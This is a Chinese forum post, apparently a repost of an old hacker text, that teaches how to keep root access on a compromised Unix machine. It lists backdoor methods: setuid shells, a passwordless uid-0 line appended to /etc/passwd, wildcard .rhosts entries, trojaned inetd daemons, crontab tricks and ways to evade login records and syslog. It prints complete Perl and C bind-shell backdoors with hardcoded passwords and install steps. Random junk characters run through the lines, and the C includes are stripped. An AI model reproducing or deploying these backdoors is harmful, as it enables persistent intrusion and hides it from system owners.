找回密码
 注册

QQ登录

只需一步,快速开始

如何创建后门

[复制链接]
发表于 2011-1-13 17:04:25 | 显示全部楼层 |阅读模式
参考文献:
1 k1 u# r1 N( S( x9 d) Y5 l: m: [Article: backdoor from The Infinity Concept Issue II
! F. l- _! U- ~: ?  ^$ _" r6 kSrc: b4b0.c by b4b0 9 K& j% }% U7 c5 J1 E
Src: daemonsh.pl by van Hauser / [THC] in 1997'
+ j0 c9 x9 Z1 ~& @. d! f2 q# w9 D3 A  D0 T+ ^0 _8 h; L  {/ x
--
/ ~2 Q$ ^7 W) O5 d
" a! d+ t! ?" F' K$ w' M2 k千辛万苦(or 轻而易举)的取得root后,当然希望长久的保持. 以被以后用来。。。d0ing what u want t0 d0 :) 传统的方法就是建立一个后门(backd00r).即使入侵被发现,好 的(先进)后门仍然能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
5 F( b% H1 h6 w  I  `) s  S8 x--
- C6 h$ F/ ^. Y% @创建后门的方法如下:
# P% U5 }: j; r8 S: w4 {- 8 t( T2 }  w  k) [
1. setuid
3 A5 U. `( E( E# ^#cp /bin/sh /tmp/.backdoor
" F3 {: n+ m. c2 {4 K#chmod u+s /tmp/.backdoor ! m7 m2 G* N9 o: N5 r
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发现 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发现不能setuid。-- 适用于新手; 1 X+ b  \5 t1 p% r3 I, V
-
9 I# z: k0 M- a/ X1 f, ]" T2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增加一个 id 为 0(root)的帐号,无口令; 也很容易被发现。 -- 适用于新手;   L+ z1 t1 X; V- P
- % l1 K) z% g8 r1 X
3.echo "+ zer9">>/.rhosts
! c8 R& _' |# h1 J6 h即本地的名为 zer9 的用户可以直接 rlogin target 无须口令此时的 zer9 就相当于口令,不知道的人是不能进去的. # y7 s' {( H- f+ C% V( @$ e9 c0 y
前提是目标的port 512or513or514 opening. / ~: s. T) }; T' t7 U$ Q: T- J
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目标 导致目标门户打开,最好不要;
" G+ V% z0 M6 U! {1 V) |6 A* e还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比新手高一点点,比中级水平低一点点的guys; 1 s' j* L- I+ z( ?$ _( Y
-
7 y% }6 p% |3 o  V1 b4.modify sendmail.cf 增加一个"wiz" 命令;
: D% [/ L3 U5 {5 C' Tusage: . C& f6 y# j0 |  J* Q9 ]% l
telnet target 25 [enter] % `* d1 c1 d, [3 C5 B8 A; q, P
wiz[enter] 3 Q# F4 H' [- G+ n2 \; E
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎所有的扫描器都会刺探本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发现,隐蔽性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大师级漏洞;
* p! d  X# Y- o& r- 3 L' o# ~: Z$ E$ }) m. R! q1 n
5. crack suck as inetd,login,...
3 r* W4 m; r" t. X即安装它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 如果目标机上没有安装 tripwire之类的东东,那几乎不可能被发现。linux&sunos&freebsd的可能好找,但其他的了?即使你找到了,你有对应平台上的编译器吗?我有一台运行 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,... 5 [+ c5 j0 e) n( Z
hahhahha,我又做梦了:) - o, B2 V( y& c; w" x3 Y
-- 我个人认为是最好的方法,但实现起来有一定风险,你必须考虑到如果你的木马运行出错怎么办--因为我们所做的一切都必须以不破坏目标机上的任何数据为原则;
0 }! b( K7 `2 l, i" n2 e-   A% D: U$ O4 W/ m* Z8 \& u$ y
6.ping rem0te backd00r ' @! p1 g1 @! u* Y0 ]
即使是防火墙也很少阻止 ICMP 的通过,因此本后门可绕过防火墙。具体的程序你可在 [THC] 的主页发现;我想到了另外一种直接用ping命令实现的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤掉 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);以后有时间我会通过程序来实现验证可行性的。(技术上应该没有什么难度)
( t. ~7 ^0 S( ?9 C0 N. M-
8 ~8 q4 q1 K; y. |7.rem0te shell
1 s& e: S. [& U. j+ i2 a6 _我最喜欢的方式。而且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发现
+ {" H% m( e" p9 Y% }- a你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来.
) n: l% @4 |/ U3 ]bindshell的实现有两种:
' b) y: G+ v# W3 b6 Q2 o# Ca.
2 \/ F7 {0 t" `$ \8 d替换掉 inetd.conf 中的不重要服务,如 rlogind :)在inetd 接受 connect 请求后,直接在本端口利用 system("/bin/csh -i");直接spam 出一个shell, # e) |* W# G: b) W
b. 接受 connect 后,在高端spam出一个shell;
' u) E% u. W* O(更安全 :)
1 v: c7 Z" E( V* m3 f8 R9 [. j下面我给出一个perl 实现(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的实现(test on slackware 2.0.33&irix6.4) 6 y) I9 @, f& Q/ p- [% Y$ W* x
--- 2 ]; n' i, [( O) d; e! t* z
perl 版安装方法:
3 j2 }/ E: W( t3 g; r  ]###无须编译!!只要目标机上有perl支持就okay! $ i9 ~8 V/ T8 C& U2 P
如何判断有无perl: $/>perl [enter]
7 L: L8 m2 W1 S* r
( M# y- I5 ]/ k) m: O, g[ctrl-c] 0 i5 Y# }* C6 n% j7 z. e
$/> 1 F* k3 n4 \6 i! `: ^! \9 w- p( p
- ( a1 f% b  D6 d! x1 F  F! X
如果你对 /etc/inetd.conf 中的内容不是很熟的话,下面
; G; h* y5 Q% s: C的方法有很大的危险性, exit(-1) please;
8 ~6 J  ~% p- B4 X% ^-
( b  S, @3 z3 A: {+ ^( x4 U) l: c首先将源程序cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是已经被ADM关掉了,而且不太引人注目的daemon,注意,一定要是 TCP types.然后
8 H" M/ B1 W+ b) q; [7 Smv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))
; u* x" L3 W5 a8 K: dcp in.rexecd /usr/sbin/in.rexecd
" e0 N) V* N( h$ h; \9 ]然后 ps -aux|grep inetd;kill -HUP id(by inetd);
4 R1 }) }* |* x1 _# m& u5 w' _okay! 连 /etc/inetd.conf 都不要改。重申一点:不论在任何情况下,我们都要尽最大的可能保护数据!
  L, w! N6 y/ e8 W# {- S" g-
$ @' i. ]; x& P0 |& w! I6 S: vUsage: nc target (such as 512) $ D; \3 _2 G# v4 M, V( F
[enter] . m5 Y& e% f6 j' ]
ur passwd [enter]
! U2 B2 ^2 V7 X(then u login in...:)
( P3 ?! F" A7 v2 Y  n, K  |8 h; u7 M# C! O0 O* R; z$ v0 ^/ y* H, j
----Cut Here------------------------------------------
! o8 o1 R5 o/ _- `/ s
/ l* I  K) W" D8 `#!/usr/bin/perl
  T* F0 o4 i6 V#
( Z1 x$ @! |, ^. Z- R6 q# BEST
0 x8 ?4 k, R+ A2 ]; m6 Z# SIMPLE
! i  O$ k7 W- O6 p# rem0te bind shell
- ~4 ~- Q* N, Q& Y, Y#[perl version only tcp]
! t8 @) ^, J1 ~/ o# G# by ' I# h7 \6 \& @* @) m5 s3 x4 I" V: B4 Y
# zer9[FTT] # b" V5 A0 ?( ^
# zer9@21cn.com
6 d  l/ u* ?8 g) M, s" ~, [#passed on allmost unix
$ V% {7 D3 D& L7 U; q#greet to:van Hauser/[THC]
" Q2 Y6 E2 Q0 o  B% @1 _1 ~" \# for his daemonshell.pl
4 G+ P  P' R$ O3 ?) W; U#
! l) o" _9 i' w+ I! m: i7 }$SHELL="/bin/csh -i";
. Z; n% }$ K! A* Y" i9 f0 G; p#d3f4ult p4sswd 1s "wh04r3u" (no quote);
0 K6 f1 W# t3 j' d$PASSWORD="BifqmATb6D5so";
6 v( z/ D# t. N* V7 s! u. a' D$ z4 `2 w( t: o4 t2 k6 T- P' d
if ($PASSWORD) { # v5 U- j! E  d1 S+ K
chop($pass=);
  V+ g7 h/ ~2 g$ k' o( cif (crypt($pass, $PASSWORD) ne $PASSWORD) {
! C3 @# B1 b7 \7 r0 Uexit 0;
; ]. A. A; j( J# |7 ?. o. f4 X: V! l% j3 Q} ; J. U3 p7 e5 ]0 }! `
exec $SHELL ;
5 a  N# e6 l1 c. q0 H0 D! pexit 0;
3 _4 U; F: z% l4 A} - n; ?/ n! b6 b* I
2 h1 T9 o  G" n2 e
----Cut Here--------------------------------------------
8 T$ j5 {3 B" F" g3 }, b; t( ^. b' ]: `/ u; F" U' D, q

% `6 p2 X& F+ U9 i5 d! c" W; n2 g# u

! N3 X6 `  L9 [* j2 m1 E; _2 L下面是一个for gnuc 的bindshell,first cut it,save as , _' W6 R+ P8 m# Y, p
backdoor.c ,then cc backdoor.c -o backdoor 0 B! |8 E, L. B7 x& M2 H  g
other action just l1ke before; / I0 a. F$ e, J: A: u
Usage: (exp:binding to in.rlogind (513))
* {- q) y$ k3 }nc target 513 //spam a shell on the high port; & N1 K: z" x( z" E
nc target 54321 - v3 r  n* Y: F% z( v, J
ur passwd 0 P* G) y* \2 e. ?* Q8 ^$ \
(then u coming in...) " N" x# V& o! [1 d2 p
7 c+ I" }  G& ]- o3 k, |- f( J
9 f: C4 q# N6 A# r+ N* j( z/ f4 e! v! R
----Cut Here------------------------------------- : u  Y/ ^$ y1 p! q0 w) ]2 o
; q$ B1 T0 p8 K: i6 e+ u' V' R9 s$ K1 a
/*
: |9 n0 v# {% l" i7 `# Y! Z! a" Z* [ b i n d - s h e l l ] & Y* e- A: L/ K2 `0 A
* by
: H, {& Y  Z. N( b* a0 Y! q* zer9[FTT]
7 M7 e. o' o* `6 A* zer9@21cn.com 7 y% F6 ]6 p1 r# J) r
*test on slackware 2.0.33&irix6.4(cc)
$ v  ^; @( S9 R6 p/ m5 J9 e*cc backdoor.c -o backdoor ! \: r1 s8 T0 S; G* q
*u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
. T  v( x) a/ w8 \) K. O*c0mm4nd l1n3: backdoor [port]
6 J; d4 d% S7 J. I/ q*d3fault p0rt 1s: 54321 # }0 w* C/ w$ h
*greets to b4b0 for his b4b0.c
' e& ?& Q( O1 x+ f- O: k5 d* }*m4yb3 1 c0uld s4y: - j5 ]9 t+ S2 a+ f  ~1 F
*"0k,b4b0.l1st3n c4r3fully;" . ^$ G* j' }' i% Y' e2 X; T
*s0rry,just a joke. : i9 n, b2 t+ m* Z
* 4 s' M1 ?6 }% H4 o7 T, o. ]
*/ 4 |7 r0 y2 D) ]+ }9 L: O- X/ f

* O/ L3 H9 N% V) m#include
& r  K: x# E3 u6 o5 U  }#include   u/ K- B1 D+ R" B
#include   T6 g! v; z4 y3 u2 r) h) s" R) V0 u
#include   l; S! i  ?4 O5 \$ h3 r4 I
#include   E0 D) X5 N1 R6 E! j
#include
+ X/ Q+ d3 q+ g, E8 x: P#include " c$ b2 ]6 c( D5 \8 C# L2 k
- ^4 t) j6 {& y: x3 ?( T2 T

# P' G" \1 d' e4 c- h#define PassWord "k1n90fth3w0rld" 7 M& y6 _7 p* o4 t
/* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */ . g0 r. f- ]3 y2 l' B/ g" m

2 q" T+ `, F  c#define DefaultPort 54321
% W. a  {- h1 H8 [& u1 f/ ~  q/* d3f4ult b1nd1ng p0rt */ 3 U1 l. y) O( |0 M2 I, c# W* @
$ N6 c! X: S- H( X1 |  u
int main(int argc,char **argv)
' R, L/ \  _  @  x+ C) [" @( @+ C$ w{
. g2 c" C8 ]' C' U0 a; E* o( T! nint s,in_s;
) m, n8 J! p* i' G1 Lstruct sockaddr_in server,client;   G; {# ^1 G, }9 O6 G- R
int client_len,bindport;
, j! ^+ S7 }0 Z' k8 v. echar recvbuf[1000];
6 T9 C8 }5 I5 G' J. I4 H
: u3 N9 B. Q; {+ z$ \if(argc!=2) bindport=DefaultPort;
6 s* t2 L6 J) J. x+ qelse 3 @0 B1 }% _" I% g& r0 h
bindport=atoi(argv[1]);
# ?% w8 F! U6 m' L3 X! W& pif((s=socket(AF_INET,SOCK_STREAM,0))<0)
, w2 ]1 |$ D& P5 X5 V1 w0 a{ ' k+ A' V: v5 d4 z- _8 B3 t( |
perror("socket"); ; h9 x6 _& x4 ^6 a. K* P( H/ H
return -1; , w1 |  u  G. ~0 G: n! z+ E
} ' q- ]3 E9 J; p% |# U& J
bzero((char *)&server,sizeof(server)); $ f% x, N+ ^) U
bzero((char *)&client,sizeof(client)); . l. D$ Z/ ]. Q8 O$ [- y" C# N
bzero(recvbuf,sizeof(recvbuf));
, i. b8 N7 M, Fserver.sin_family=AF_INET; ; U+ F0 t& y( ~8 ?0 r, n
server.sin_port=htons(bindport);
3 n- q/ f- p6 s0 ^: ^! |server.sin_addr.s_addr=INADDR_ANY;
' o9 Q9 i8 n" H9 E* l4 v0 w9 Qif(bind(s,(struct sockaddr *)&server,sizeof(server))<0)   P3 u& D6 x- _
{ ) S. _( \0 w5 _! l
perror("bind"); 3 s6 Q+ E4 Y3 q
return -1;
0 `+ v: [8 u  S* ]} / L& o+ K  s' A
if(listen(s,3)!=0) - `! Y) x# s# X8 X: G0 X
{ ) N0 [7 O* _/ F( T" q; D
perror("listen");
, F- }( V# K/ d6 breturn -1;
' Y' {1 h7 r4 N2 _" n$ q+ n! z} 0 \  Q0 l1 K& r& i1 a
client_len=sizeof(client); & x9 I: u5 _$ b- l+ Q
if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
  ]1 ^6 u! a9 m( h{
! w6 d( G0 A, L, _" d/ g2 bperror("accept");
3 S: u6 }# ~4 \+ C1 M4 c8 Z7 k! kreturn -1; 0 ~; I* u& L3 k& _3 L: m) ]
} % C2 S% T0 e  R+ R
recv(in_s,recvbuf,sizeof(recvbuf),0); + F* d1 b6 x8 c% C' f
sleep(1); 5 Q; @4 |0 t' l6 {7 b8 {: P
if((strlen(recvbuf)-1)==strlen(PassWord))
3 @( |" ?2 S" Z! v. M7 x' oif(!strncmp(recvbuf,PassWord,strlen(PassWord))) - O3 g$ O' ~$ e! m6 r# Z( t9 z
{
# P7 |/ ^' I% R$ Xsend(in_s,"0k4y! c0m1ng 1n...\n",25,0); ' t: `5 Z4 v  v+ e
close(0);close(1);close(2); 1 ?0 Q% \) u/ j+ }1 v3 U- L2 g
dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
9 E, v% F! k, N2 M2 V. R4 Wexecl("/bin/csh","/bin/csh",(char *)0);
: x3 F" n8 k* `% F} . I3 |! b# D5 d! T
close(s);
+ ~( W3 X: g. o. w) Y# Z/ fclose(in_s); ) X% X( q  s! i! ^+ U, c
return 0; / ]7 e- p6 n, z, N& z+ C( C
} 9 u: s* P( P! V* u

# p/ `& I) L0 R; k; h0 c; w----Cut Here------------------------------------------------- 1 z1 h) ]( k% ~( v

/ [) a/ s  E7 a! k+ H用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时已经进行log 了;旁路掉inetd就能完全避开syslog!方法很简单,只要直接在命令行直接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关掉计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中加入:
, z3 O6 W8 K7 @) A  B: D9 i, |backdoor & 7 c4 J2 R" h0 d, P: U( j+ b
但即使这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(安全)了? ! A# @  a+ j* {7 i
--
8 u1 v  O/ v6 Q  F8.第八种武器就是 crontab 6 {0 ?: N, ~' D! F9 P( j2 G
我只知道原理,没实践过.每到一定时间就往 /etc/passwd 中加入一条uid为0(root)
5 q" J+ X3 `( L% _3 E- Z2 n的用户;时间一道就delete ,或创建suid's shell...在序言中提到的文章中有详细介绍;
  o% N# k. U: V2 e" q/ G$ c8 y' W-- 1 ~0 k4 l% \# m
9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?利用用户的home目录下的 .forward 可作到这一点。 3 r6 L# e7 T7 h" T: ^, t/ ]& y* u
--
& K/ b* ^8 Q. X) K10。修改内核--超级高手的做法;2.2.0的解压文件达到了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对自己有信心的话可以看看; % B$ d  h. R9 o
-- , k: N6 C7 g1 ]* V* s  ~  H
11.还有就是利用 overflow 程序,虽然我们一般是利用它取得root;但只要 ADM && u 没有 patch ,始终我们可以利用它的,与suid不同的是它不怕被 find / -perm 4000 发现;一般只有 tripwire可发现。
5 B, f, K* U; b; F2 Q
+ z" {, n: O8 Z# m
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2025-6-15 12:57

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表